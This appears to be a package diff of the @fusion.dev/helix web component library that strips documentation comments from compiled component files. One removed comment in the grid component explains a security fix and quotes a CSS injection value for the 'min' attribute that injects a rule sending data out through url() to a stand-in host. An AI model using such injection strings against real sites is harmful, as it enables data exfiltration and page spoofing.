@fusion.dev/helix 0.2.0 → 0.3.0

package/dist/dialog/root/dialog-root.js

@@ -8,37 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessDialog } from '@fusion.dev/helix-headless/dialog';
 import { property } from 'lit/decorators.js';
 import { styles } from './dialog-root.css.js';
-/**
- * @summary A modal window, on the platform's own dialog.
- *
- * @description
- * The panel is `surface-overlay` with a shadow, because that is what it is: a
- * thing over the page rather than on it. The scrim is drawn on `::backdrop`,
- * which is the platform's own element for it and sits in the top layer with the
- * dialog rather than being a div somebody positioned.
- *
- * @since 0.1.0
- * @status stable
- * @category overlays
- * @aliases Modal, Lightbox, Sheet
- * @documentation https://helix.fusion.dev/components/dialog
- *
- * @cssproperty --dialog-border-color - Color of the panel's edge.
- * @cssproperty --dialog-border-width - Width of the panel's edge. Follows
- *   `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
- *   theme says otherwise.
- * @cssproperty --dialog-icon-size - How big the mark above the title is.
- * @cssproperty --dialog-inline-size - Width of the panel.
- * @cssproperty --dialog-padding - Padding inside the panel.
- * @cssproperty --dialog-rise - How far the panel rises as it opens. Follows
- *   `--helix-space-lg`.
- * @cssproperty --dialog-scrim - The wash over the page behind the dialog. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
- * @cssproperty --dialog-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
- *   floating surface sits over content nobody can predict, so it keeps a lift by default.
- *
- * @property align - Whether the panel's contents run from the start or center on it.
- * @property size - How wide the panel is allowed to be.
- */
 let HelixDialog = class HelixDialog extends HelixHeadlessDialog {
     static { this.styles = styles; }
 };

package/dist/divider/root/divider-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/divider/root/divider-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 align-items: center;

package/dist/divider/root/divider-root.js

@@ -7,30 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessDivider } from '@fusion.dev/helix-headless/divider';
 import { styles } from './divider-root.css.js';
-/**
- * @summary Separates content into groups with a rule.
- *
- * @description
- * A one-pixel rule in the border color, running the full inline size by
- * default. A vertical divider stretches to its flex parent instead of setting
- * its own height, so it matches whatever it sits beside without being told how
- * tall that is.
- *
- * @since 0.1.0
- * @status stable
- * @category layout
- * @aliases Separator, Rule
- * @documentation https://helix.fusion.dev/components/divider
- *
- * @csspart line - The rule itself.
- *
- * @cssproperty --divider-color - Color of the rule.
- * @cssproperty --divider-length - How long a vertical rule is. Horizontal takes its width.
- * @cssproperty --divider-padding - Space taken off both ends of it.
- * @cssproperty --divider-padding-end - Off the far end only.
- * @cssproperty --divider-padding-start - Off the near end only.
- * @cssproperty --divider-thickness - How heavy the rule is.
- */
 let HelixDivider = class HelixDivider extends HelixHeadlessDivider {
     static { this.styles = styles; }
 };

package/dist/donut-chart/root/donut-chart-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/donut-chart/root/donut-chart-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 display: grid;

package/dist/donut-chart/root/donut-chart-root.js

@@ -10,56 +10,7 @@ import { property } from 'lit/decorators.js';
 import { styles as seriesStyles } from '../../shared/chart/series.css.js';
 import { styles } from './donut-chart-root.css.js';
 import '../../tooltip/index.js';
-/**
- * @summary Parts of a whole as a ring, read from a table.
- *
- * @description
- * The slices take the series palette in order, so a legend beside it maps the
- * same twenty-four.
- *
- * The ring starts at twelve o'clock, which is a rotation applied here rather
- * than arithmetic done below: where a reader expects the first slice to begin
- * is a fact about the picture, not about the numbers.
- *
- * A track is drawn under the slices, so a ring whose values do not fill it
- * still reads as a ring with a gap rather than as a broken arc.
- *
- * **How thick the ring is drawn is `hole`, not a CSS hook.** The stroke's width
- * and the ring's radius have to agree: the outer edge is `r + width / 2`, so
- * setting one in CSS and deriving the other in markup gives a drawing that is
- * wrong in both. Measured with such a hook in place, every ring came out twelve
- * units thick whatever its `hole`, so a pie was a small ring with a hole in it
- * and `large` was drawn larger than the default.
- *
- * @since 0.1.0
- * @status experimental
- * @category charts
- * @groups charts
- * @aliases Pie Chart, Ring Chart, Share Chart
- * @documentation https://helix.fusion.dev/components/donut-chart
- *
- * @cssproperty --donut-chart-edge-stroke - Thickness of the slice boundary under `outlined`.
- * @cssproperty --donut-chart-size - Width and height of the ring.
- * @cssproperty --donut-chart-track-color - Color of the ring under the slices.
- */
 let HelixDonutChart = class HelixDonutChart extends HelixHeadlessDonutChart {
-    /**
-     * **The styled tier, so the tooltip this renders is the styled one.**
-     *
-     * `tag()` builds a child's tag name from this prefix, and the base declares
-     * `helix-headless-`. Every other styled component that renders a child
-     * overrides it; the three charts that draw a tooltip did not, so a
-     * `helix-bar-chart` on a page put a `helix-headless-tooltip` in its shadow
-     * root: the behavior with none of the surface. What showed was the browser's
-     * own popover defaults, a white 1.5px border, square corners, `0.25em` of
-     * padding and the page's font size, which is why the reading bubble looked
-     * like no other tooltip on the site.
-     *
-     * Measured before the fix: the chart's bubble computed
-     * `border: 1.5px solid rgb(255, 255, 255)`, `border-radius: 0px`,
-     * `padding: 3.5px`, `font-size: 14px`. The masthead's, a `helix-tooltip`,
-     * had the component's own `none`, `radii-sm`, `2xs xs` and `text-xs`.
-     */
     static { this.tier = 'helix-'; }
     static { this.styles = [seriesStyles, styles]; }
 };

package/dist/drawer/root/drawer-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/drawer/root/drawer-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 

package/dist/drawer/root/drawer-root.js

@@ -8,44 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessDrawer } from '@fusion.dev/helix-headless/drawer';
 import { property } from 'lit/decorators.js';
 import { styles } from './drawer-root.css.js';
-/**
- * @summary A panel that slides in from an edge.
- *
- * @description
- * The panel translates and the scrim fades, both on transform and opacity only,
- * which is the one place motion is allowed to carry the work: the surface at
- * rest is flat and the movement is what says something happened.
- *
- * @since 0.1.0
- * @status experimental
- * @category overlays
- * @aliases Sheet, Sidebar, Panel, Off-canvas
- * @documentation https://helix.fusion.dev/components/drawer
- *
- * @slot - The drawer's content.
- * @slot header - Content pinned above the scrolling area.
- *
- * @event {HelixBeforeOpenEvent} helix-before-open - Fired before the drawer opens or closes. Cancelable: refusing it takes the decision and nothing moves.
- *
- * @csspart content - The scrolling content region.
- * @csspart header - The header region.
- * @csspart panel - The sliding panel.
- *
- * @cssproperty --drawer-backdrop - Filter applied behind a `material="glass"` drawer.
- *   Follows the theme's material policy; set it to override the strength on one drawer.
- * @cssproperty --drawer-background-color - Surface behind the panel.
- * @cssproperty --drawer-border-color - Color of the panel's edge.
- * @cssproperty --drawer-border-width - Width of the panel's edge. Follows
- *   `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
- *   theme says otherwise.
- * @cssproperty --drawer-padding - Padding inside the panel.
- * @cssproperty --drawer-padding-block-start - Padding above the content, which clears the close control.
- * @cssproperty --drawer-radius - Corner radius on the edges that face the page.
- * @cssproperty --drawer-scrim - The wash over the page behind the drawer. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
- * @cssproperty --drawer-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
- *   floating surface sits over content nobody can predict, so it keeps a lift by default.
- * @cssproperty --drawer-size - Width or height of the panel.
- */
 let HelixDrawer = class HelixDrawer extends HelixHeadlessDrawer {
     static { this.styles = styles; }
 };

package/dist/drilldown/item/drilldown-item.css.js

@@ -1,4 +1,3 @@
-// Generated from src/drilldown/item/drilldown-item.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 display: block;

package/dist/drilldown/item/drilldown-item.js

@@ -7,21 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessDrilldownItem } from '@fusion.dev/helix-headless/drilldown';
 import { styles } from './drilldown-item.css.js';
-/**
- * @summary One row of a drill-down, which may hold a page of its own.
- *
- * @description
- * A row is a full-width band rather than an inset pill, for the reason the
- * select's options are: it reaches both edges of the panel, so a highlight
- * lines up with the edge the eye is already following down the list.
- *
- * @since 0.1.0
- * @status experimental
- * @aliases Panel item, Drill row
- * @documentation https://helix.fusion.dev/components/drilldown
- *
- * @cssproperty --drilldown-item-hover-color - Fill when a row is under the pointer.
- */
 let HelixDrilldownItem = class HelixDrilldownItem extends HelixHeadlessDrilldownItem {
     static { this.styles = styles; }
 };

package/dist/drilldown/root/drilldown-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/drilldown/root/drilldown-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 background-color: var(--drilldown-background-color, var(--helix-color-surface));

package/dist/drilldown/root/drilldown-root.js

@@ -7,29 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessDrilldown } from '@fusion.dev/helix-headless/drilldown';
 import { styles } from './drilldown-root.css.js';
-/**
- * @summary A stack of pages, one showing at a time, with a way back.
- *
- * @description
- * **The pages slide, and the direction is the point.** Both moves replace one
- * page with another, so with no motion a reader cannot tell whether they went
- * deeper or came back: the panel simply holds different words. Sliding in the
- * direction of travel says which happened, and it is most of the reason this is
- * a component rather than a menu with its trigger removed.
- *
- * An animation rather than a transition, because there is nothing to transition
- * from: the page arriving was not in the DOM a frame ago. Under
- * `prefers-reduced-motion` it becomes the instant swap `Menu` does.
- *
- * @since 0.1.0
- * @status experimental
- * @category navigation
- * @aliases Panel, Nested list, Drill-in
- * @documentation https://helix.fusion.dev/components/drilldown
- *
- * @cssproperty --drilldown-background-color - Fill behind the pages.
- * @cssproperty --drilldown-inline-size - Width of the region.
- */
 let HelixDrilldown = class HelixDrilldown extends HelixHeadlessDrilldown {
     static { this.styles = styles; }
 };

package/dist/element-events.generated.js

@@ -1,8 +1,3 @@
-/* Generated by `bun run gen:element-events` from this package's manifest. Do not edit.
- *
- * Which events each tag dispatches, registered so the React prop audit can tell
- * a handler on the wrong element from one on the right one. See
- * `helix/core/src/events/element-events.ts`. */
 import { registerElementEvents } from '@fusion.dev/helix-core';
 registerElementEvents({
     'helix-accordion-item': ['helix-before-close', 'helix-before-open', 'toggle'],

package/dist/empty/root/empty-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/empty/root/empty-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 align-items: center;

package/dist/empty/root/empty-root.js

@@ -7,22 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessEmpty } from '@fusion.dev/helix-headless/empty';
 import { styles } from './empty-root.css.js';
-/**
- * @summary Says that a region has nothing in it, and what to do about it.
- *
- * @description
- * Centered and given room, because an empty view is the only thing on screen
- * and crowding it against the top edge makes the region look broken rather than
- * empty.
- *
- * @since 0.1.0
- * @status stable
- * @category feedback
- * @aliases Placeholder, NoResults, Blank
- * @documentation https://helix.fusion.dev/components/empty
- *
- * @cssproperty --empty-padding - Space around the whole block.
- */
 let HelixEmpty = class HelixEmpty extends HelixHeadlessEmpty {
     static { this.styles = styles; }
 };

package/dist/file-input/root/file-input-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/file-input/root/file-input-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`[part="field"] {
 align-items: center;

package/dist/file-input/root/file-input-root.js

@@ -6,42 +6,12 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 };
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessFileInput } from '@fusion.dev/helix-headless/file-input';
-/* Side-effect import, because the tier below renders `<helix-icon>` for each
-   file's remove control and a custom element registers on import. Inherited from
-   the base along with the template, which is why it is restated here. */
 import '../../icon/index.js';
 import '../../tag/index.js';
 import { styles as glyphStyles } from '../../icon/glyph.css.js';
 import { styles as fieldStyles } from '../../shared/field/field.css.js';
 import { styles as fieldStackedStyles } from '../../shared/field/field-stacked.css.js';
 import { styles } from './file-input-root.css.js';
-/**
- * @summary A control for choosing files, by pointer or by dropping them on it.
- *
- * @description
- * The field is a box rather than a line, because nothing is typed into it: its
- * height is not a line of text, and what a reader aims at is the whole area. The
- * border is dashed for the same reason a drop target usually is, which is the
- * only affordance one has before anything is being dragged.
- *
- * The native input is kept and laid over the field at zero opacity rather than
- * hidden, so a click anywhere on the box lands on the input itself and opens the
- * picker. Hiding it with `display: none` would take it out of the tab order and
- * out of the form, and a script clicking a hidden input is the same thing with
- * more moving parts.
- *
- * The focus ring is drawn on the field, because the control it belongs to is
- * invisible.
- *
- * @since 0.1.0
- * @status stable
- * @category forms
- * @aliases FileUpload, FilePicker, Dropzone, InputFile
- * @documentation https://helix.fusion.dev/components/file-input
- *
- * @cssproperty --file-input-background-color - Fill behind the field.
- * @cssproperty --file-input-padding - Padding inside the field.
- */
 let HelixFileInput = class HelixFileInput extends HelixHeadlessFileInput {
     static { this.tier = 'helix-'; }
     static { this.styles = [glyphStyles, fieldStyles, fieldStackedStyles, styles]; }

package/dist/flex/root/flex-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/flex/root/flex-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 display: flex;

package/dist/flex/root/flex-root.js

@@ -8,42 +8,10 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
 import { html } from 'lit';
 import { property } from 'lit/decorators.js';
 import { styles } from './flex-root.css.js';
-/**
- * @summary Lays children out in a row or a column.
- *
- * @description
- * The host is the flex container itself and the only child is a slot, so the
- * element adds no box of its own: `<helix-flex>` costs exactly the `<div>` it
- * replaces.
- *
- * There is no separate Stack. A stack is this with `direction="column"`, and a
- * second element whose whole definition is one default of the first is a name
- * to learn rather than a capability to gain.
- *
- * Gap takes a space token name rather than a length, so spacing stays on the
- * scale. A layout that can say `gap="13px"` is one that will.
- *
- * Presentation only, so there is no headless tier: the split exists to keep
- * behavior separate from styling, and this is entirely styling.
- *
- * @since 0.1.0
- * @status stable
- * @category layout
- * @aliases Stack, Row, Column, HStack, VStack
- * @documentation https://helix.fusion.dev/components/flex
- *
- * @slot - The items to lay out.
- */
 let HelixFlex = class HelixFlex extends HelixElement {
     constructor() {
         super(...arguments);
-        /**
-         * Flows with surrounding text instead of taking the full width.
-         */
         this.inline = false;
-        /**
-         * Whether items wrap onto more lines.
-         */
         this.wrap = false;
     }
     render() {

package/dist/format-date/root/format-date-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/format-date/root/format-date-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 display: inline;

package/dist/format-date/root/format-date-root.js

@@ -7,23 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessFormatDate } from '@fusion.dev/helix-headless/format-date';
 import { styles } from './format-date-root.css.js';
-/**
- * @summary A timestamp, written the way the reader's locale writes one.
- *
- * @description
- * The base tier does the reading; this adds the one thing a design system has to
- * say about it. A timestamp takes the family, size and color of the text around
- * it, so almost nothing here is a decision. The exception is figures: an elapsed
- * reading counts up under the reader, and proportional digits move the trailing
- * edge as it does, which in a feed is a whole column shifting whenever any row
- * in it ticks over. `tabular-nums` in that mode and not in the other, because a
- * date is written once and should sit in the text like the text.
- *
- * @since 0.1.0
- * @status experimental
- * @category typography
- * @documentation https://helix.fusion.dev/components/format-date
- */
 let HelixFormatDate = class HelixFormatDate extends HelixHeadlessFormatDate {
     static { this.tier = 'helix-'; }
     static { this.styles = styles; }

package/dist/grid/root/grid-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/grid/root/grid-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 display: grid;

package/dist/grid/root/grid-root.js

@@ -8,82 +8,16 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
 import { html } from 'lit';
 import { property } from 'lit/decorators.js';
 import { styles } from './grid-root.css.js';
-/**
- * @summary Lays children out on a grid.
- *
- * @description
- * Two ways to declare columns, and only two. `columns` is a fixed count;
- * `min` fills as many equal columns as fit above that width, which is a
- * responsive layout with no breakpoint to maintain. Setting `min` wins, because
- * a fixed count that also reflows is two intentions in one element.
- *
- * Presentation only, so there is no headless tier.
- *
- * @since 0.1.0
- * @status stable
- * @category layout
- * @aliases Layout, Columns
- * @documentation https://helix.fusion.dev/components/grid
- *
- * @slot - The items to lay out.
- *
- * @cssproperty --grid-columns - An explicit track list, which wins over `min` and `columns`. For a layout of unequal tracks, which neither attribute can say.
- */
 let HelixGrid = class HelixGrid extends HelixElement {
     constructor() {
         super(...arguments);
-        /**
-         * Minimum column width, filling as many as fit.
-         *
-         * Takes precedence over `columns`: a grid that both fixes a count and reflows
-         * is two intentions in one element.
-         */
         this.min = '';
     }
-    /**
-     * Writes the track list into the shadow root's own stylesheet.
-     *
-     * Into a `<style>` rather than onto `this.style`, and the difference is
-     * hydration. An inline style on the host is an attribute the element gives
-     * itself once it upgrades, so a React consumer's server markup does not have
-     * it and hydration reports a mismatch it will not patch up. The shadow root
-     * is not part of the tree React hydrates, so a rule written there is free.
-     *
-     * The element is filled imperatively because Lit refuses expressions inside
-     * `<style>`: it is an invalid binding location and throws while rendering
-     * rather than at build time. Hence a static, empty element in the template
-     * and its `textContent` set here.
-     *
-     * It sets a custom property rather than the track list itself. A shadow
-     * root's adopted stylesheets cascade *after* its own `<style>` elements, and
-     * `static styles` is adopted, so a `grid-template-columns` here lost to the
-     * one in the stylesheet and every `min` grid came out a single column. The
-     * stylesheet only ever reads `--_grid-template`, so there is nothing to
-     * lose against.
-     *
-     * The consequence is that a server-rendered grid falls back to the
-     * stylesheet's single column until it upgrades. That is why `columns` is also
-     * expressed as plain CSS below: the fixed-count case, which can be enumerated,
-     * needs no JavaScript at all, and only `min` depends on this.
-     */
     applyTemplate() {
         const sheet = this.renderRoot.querySelector('#template');
         if (!sheet) {
             return;
         }
-        /* **`min` is checked against a length before it reaches a stylesheet, and
-           that is a security fix rather than tidiness.** It is a public attribute
-           and it was concatenated into a `<style>` element's text, so
-           `min="1px,1fr)} :host{background:url(//elsewhere/?stolen)} @media all{"`
-           closed the rule and wrote arbitrary CSS into this component's shadow
-           root. That is enough to exfiltrate through `url()` and to lay an
-           invisible plate over the page.
-         *
-         * `createSheet` says in its own documentation that consumer input must not
-         * be interpolated into CSS, and this was the one place in the library that
-         * did it. A pattern rather than an escape, because a length has a small,
-         * known grammar and anything outside it is a mistake worth ignoring rather
-         * than a string worth repairing. */
         const length = /^-?(?:\d+\.?\d*|\.\d+)(?:px|r?em|%|v[hw]|ch|ex|cm|mm|in|pt|pc|q)$/i;
         const min = this.min?.trim() ?? '';
         sheet.textContent =
@@ -91,9 +25,6 @@ let HelixGrid = class HelixGrid extends HelixElement {
                 ? `:host { --_grid-template: repeat(auto-fit, minmax(min(${min}, 100%), 1fr)); }`
                 : '';
     }
-    /* `updated` alone, and never a `firstUpdated` beside it. Lit puts every
-       initial property into the first `changed`, so the pair runs
-       `applyTemplate` twice on every mount of a grid with a `min`. */
     updated(changed) {
         super.updated(changed);
         if (changed.has('min')) {

package/dist/heatmap/root/heatmap-root.css.js

@@ -1,4 +1,3 @@
-// Generated from src/heatmap/root/heatmap-root.css by `turbo run styles`. Do not edit.
 import { createSheet } from '@fusion.dev/helix-core';
 export const styles = createSheet(`:host {
 

package/dist/heatmap/root/heatmap-root.d.ts

@@ -4,19 +4,17 @@ import type { CSSResultGroup } from 'lit';
  * @summary A strip of cells colored by how each one went: uptime, contributions, activity.
  *
  * @description
- * One grid, filled down the column and then across, which is what a calendar
- * heatmap is: a week is a column, so the strip reads left to right in weeks and
- * top to bottom in days. `rows="1"` makes it a single row without a second
- * layout.
+ * One grid, filled down the column then across: a week is a column, so the strip
+ * reads left to right in weeks and top to bottom in days. `rows="1"` makes it a
+ * single row.
  *
- * An empty cell takes the quietest ground the palette has rather than being
- * transparent. A strip of holes reads as a broken picture; a strip of empty
- * cells reads as a period with nothing in it, which is what it is.
+ * An empty cell takes the palette's quietest ground rather than being
+ * transparent, so a gap reads as a period with nothing in it rather than as a
+ * hole in the picture.
  *
- * **This tier is what a tone name is worth.** `tones="success"` and
- * `data-tone="danger"` reach the theme's status colors; `tones="1 2 3 4 5"`
- * reaches a five step ramp of one hue, which is the only thing a reader can
- * compare two cells by. Both are hooks, so a page may answer differently.
+ * `tones="success"` and `data-tone="danger"` reach the theme's status colors;
+ * `tones="1 2 3 4 5"` reaches a five-step ramp of one hue, which is the only
+ * thing two cells can be compared by.
  *
  * @since 0.1.0
  * @status experimental

package/dist/heatmap/root/heatmap-root.js

@@ -7,83 +7,10 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
 import { customElement } from '@fusion.dev/helix-core';
 import { HelixHeadlessHeatmap } from '@fusion.dev/helix-headless/heatmap';
 import { styles } from './heatmap-root.css.js';
-/**
- * @summary A strip of cells colored by how each one went: uptime, contributions, activity.
- *
- * @description
- * One grid, filled down the column and then across, which is what a calendar
- * heatmap is: a week is a column, so the strip reads left to right in weeks and
- * top to bottom in days. `rows="1"` makes it a single row without a second
- * layout.
- *
- * An empty cell takes the quietest ground the palette has rather than being
- * transparent. A strip of holes reads as a broken picture; a strip of empty
- * cells reads as a period with nothing in it, which is what it is.
- *
- * **This tier is what a tone name is worth.** `tones="success"` and
- * `data-tone="danger"` reach the theme's status colors; `tones="1 2 3 4 5"`
- * reaches a five step ramp of one hue, which is the only thing a reader can
- * compare two cells by. Both are hooks, so a page may answer differently.
- *
- * @since 0.1.0
- * @status experimental
- * @category charts
- * @documentation https://helix.fusion.dev/components/heatmap
- *
- * @slot - The `<table>` this draws, where it is not named by `for`.
- * @slot end - Below the strip, at the trailing edge.
- * @slot start - Below the strip, at the leading edge.
- * @slot summary - Below the strip, in the middle.
- *
- * @csspart cell - One reading.
- * @csspart footer - The three-slot row under the strip.
- * @csspart mark - The invisible point the tooltip is anchored to.
- * @csspart strip - The grid of cells.
- * @csspart tooltip - The bubble, forwarded from `Tooltip`.
- * @csspart tooltip-anchor - The `Tooltip` element itself.
- * @csspart tooltip-cell - One column's name and value inside the tooltip.
- * @csspart tooltip-label - The reading's own name inside the tooltip.
- * @csspart tooltip-name - A column's name inside the tooltip.
- * @csspart tooltip-value - A column's value inside the tooltip.
- *
- * @cssproperty --heatmap-cell-height - How tall a cell is. A row of a tall thin cell is what a status page draws.
- * @cssproperty --heatmap-cell-inline-size - How wide a cell is. The strip fits as many as the container allows.
- * @cssproperty --heatmap-cell-radius - How far a cell's corners are rounded.
- * @cssproperty --heatmap-cell-size - The size a cell wants on both axes, where neither is given its own.
- * @cssproperty --heatmap-gap - Space between cells. Zero is a continuous field rather than a grid of tiles.
- * @cssproperty --heatmap-tone-1 - The quietest step of the magnitude ramp, reached by `tones="1 …"`.
- * @cssproperty --heatmap-tone-2 - The second step of the magnitude ramp.
- * @cssproperty --heatmap-tone-3 - The third step of the magnitude ramp.
- * @cssproperty --heatmap-tone-4 - The fourth step of the magnitude ramp.
- * @cssproperty --heatmap-tone-5 - The loudest step of the magnitude ramp.
- * @cssproperty --heatmap-tone-accent - What `accent` is worth.
- * @cssproperty --heatmap-tone-danger - What `danger` is worth.
- * @cssproperty --heatmap-tone-info - What `info` is worth.
- * @cssproperty --heatmap-tone-muted - What `muted` is worth: the quiet ground, for a bucket that means nothing happened.
- * @cssproperty --heatmap-tone-primary - What `primary` is worth.
- * @cssproperty --heatmap-tone-success - What `success` is worth, as a name or a `data-tone`.
- * @cssproperty --heatmap-tone-warning - What `warning` is worth.
- */
 let HelixHeatmap = class HelixHeatmap extends HelixHeadlessHeatmap {
     constructor() {
         super(...arguments);
-        /**
-         * The first guess at what this sheet draws, before it has been measured.
-         *
-         * **Not a contract.** `fits()` reads the strip back rather than being told a
-         * cell size by hand, so nothing has to be kept in step and
-         * `--heatmap-cell-inline-size` on its own is enough. Told by hand, these sat
-         * at the base tier's 8 and 2 against a sheet drawing 12 and 4, and the
-         * arithmetic believed a cell cost 10 pixels where it cost 16: a ninety day
-         * strip drew 940 pixels of cells into a 592 pixel box while `visible`
-         * reported 59.
-         *
-         * These two remain because a measurement arrives one frame after the first
-         * paint, and a first paint from numbers that match the sheet is one that does
-         * not move.
-         */
         this.gap = 4;
-        /** The drawn cell width, for the reason `gap` is the drawn gap. `0.75rem` at the root font size. */
         this.minCell = 12;
     }
     static { this.tier = 'helix-'; }